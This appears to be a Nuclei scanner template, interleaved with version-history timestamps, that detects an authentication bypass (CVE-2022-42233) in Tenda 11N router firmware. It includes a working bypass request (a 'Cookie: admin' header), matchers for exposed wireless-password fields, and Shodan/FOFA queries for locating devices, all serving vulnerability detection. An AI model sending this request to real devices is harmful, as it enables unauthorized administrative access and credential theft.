2022-11-02 15:44:15 +00:00
id : CVE-2022-42233
info :
name : Tenda 11N - Authentication Bypass
author : For3stCo1d
severity : critical
description : |
2023-04-10 19:56:05 +00:00
Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).
2022-11-02 15:44:15 +00:00
reference :
- https://github.com/D0ngsec/vulns/blob/main/Tenda/Tenda_11N_Authentication_Bypass.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-42233
2022-11-03 17:48:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-42233
cwe-id : CWE-287
2023-08-31 11:46:18 +00:00
epss-score : 0.89148
epss-percentile : 0.98301
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:o:tenda:11n_firmware:5.07.33_cn:*:*:*:*:*:*:*
2022-11-02 15:44:15 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : tenda
product : 11n_firmware
2023-09-06 11:59:08 +00:00
shodan-query : http.title:"Tenda 11N"
fofa-query : product=="Tenda-11N-Wireless-AP"
2022-11-03 12:18:21 +00:00
tags : cve,cve2022,tenda,auth-bypass,router,iot
2022-11-02 15:44:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-02 15:44:15 +00:00
- raw :
- |
GET /index.asp HTTP/1.1
2022-11-02 16:16:14 +00:00
Host : {{Hostname}}
2022-11-02 15:44:15 +00:00
Cookie : admin
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'def_wirelesspassword'
2022-11-03 12:18:21 +00:00
- 'Tenda 11N'
case-insensitive : true
2023-07-11 19:49:27 +00:00
condition : and
2022-11-02 15:44:15 +00:00
- type : word
part : header
words :
- 'GoAhead-Webs'
- type : status
status :
- 200